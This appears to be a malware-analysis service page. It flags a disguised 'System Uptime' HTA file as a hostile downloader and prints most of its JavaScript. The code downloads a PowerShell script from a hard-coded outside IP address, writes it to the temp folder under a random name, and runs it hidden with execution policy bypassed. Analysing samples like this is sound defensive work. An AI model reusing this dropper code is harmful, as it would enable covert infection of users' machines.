Hostile 99% javascript Download

054f6e847f56c97eefce0d2198150e0803777b04dc75563d4fda2615b0c16489.sample

WSH downloads via XMLHTTP writes via FSO and executesHidden HTA starts a hidden shell process

Evidence

Script assigns a window load handler lines 1–23
1<HTA:APPLICATION
2 ID="SystemUptime"
3 APPLICATIONNAME="System Uptime"
⋯8 lines
12<title>System Uptime</title>
13<script language="JavaScript">
14 window.onload = function() {
15 executeScript();
16 };
⋯7 lines
PowerShell bypass with hidden window lines 23–36
23:104… ──────────────────────────────
24 var Settings = {
25 url: "http://192.255.195.139/23/secured_stub.ps1?IMAGE.PNG",
26 tempVar: "%TEMP%",
27 nameLength: 12,
28 cleanupDelay: 3000,
29 alphabet: "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
30 extension: ".ps1",
31 powershellArgs: '-ExecutionPolicy Bypass -WindowStyle Hidden -File'
32 };
33
34 // ──────────────────────────────────────────────────────────────
35 // ActiveX façade — one place for every COM object
36 // ───────────────────────� …
Creates legacy ActiveX HTTP object lines 36–44
36:147… ��───────────────
37 function Com() {}
38 Com.shell = function () { return new ActiveXObject("WScript.Shell"); };
39 Com.http = function () { return new ActiveXObject("MSXML2.XMLHTTP"); };
40 Com.fs = function () { return new ActiveXObject("Scripting.FileSystemObject"); };
41
42 // ──────────────────────────────────────────────────────────────
43 // FileSystem service
44 // ─────� …
Appends random character lines 44–76
44:185… ───
45 function FileService() {}
46
47 FileService.prototype.tempDir = function () {
48 return Com.shell().ExpandEnvironmentStrings(Settings.tempVar);
49 };
50
51 FileService.prototype.randomName = function () {
52 var out = "";
53 var chars = Settings.alphabet;
54 for (var i = 0; i < Settings.nameLength; i++) {
55 out += chars.charAt(Math.floor(Math.random() * chars.length));
56 }
57 return out + Settings.extension;
58 };
59
60 FileService.prototype.write = function (path, contents) {
61 var file = Com.fs().CreateTextFile(path, true);
62 try {
63 file.Write(contents);
64 } finally {
65 file.Close();
66 }
67 };
68
69 FileService.prototype.remove = function (path) {
70 var fs = Com.fs();
71 if (fs.FileExists(path)) {
72 fs.DeleteFile(path, true);
73 }
74 };
75
76 // ────────────────────────────────� …
Run call passes zero and Boolean arguments lines 90–100
90:188… ──
91 function ProcessService() {}
92
93 ProcessService.prototype.runHidden = function (scriptPath) {
94 var command = 'powershell.exe ' +
95 Settings.powershellArgs + ' "' + scriptPath + '"';
96 Com.shell().Run(command, 0, false);
97 };
98
99 // ──────────────────────────────────────────────────────────────
100 // Pipeline stage — …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.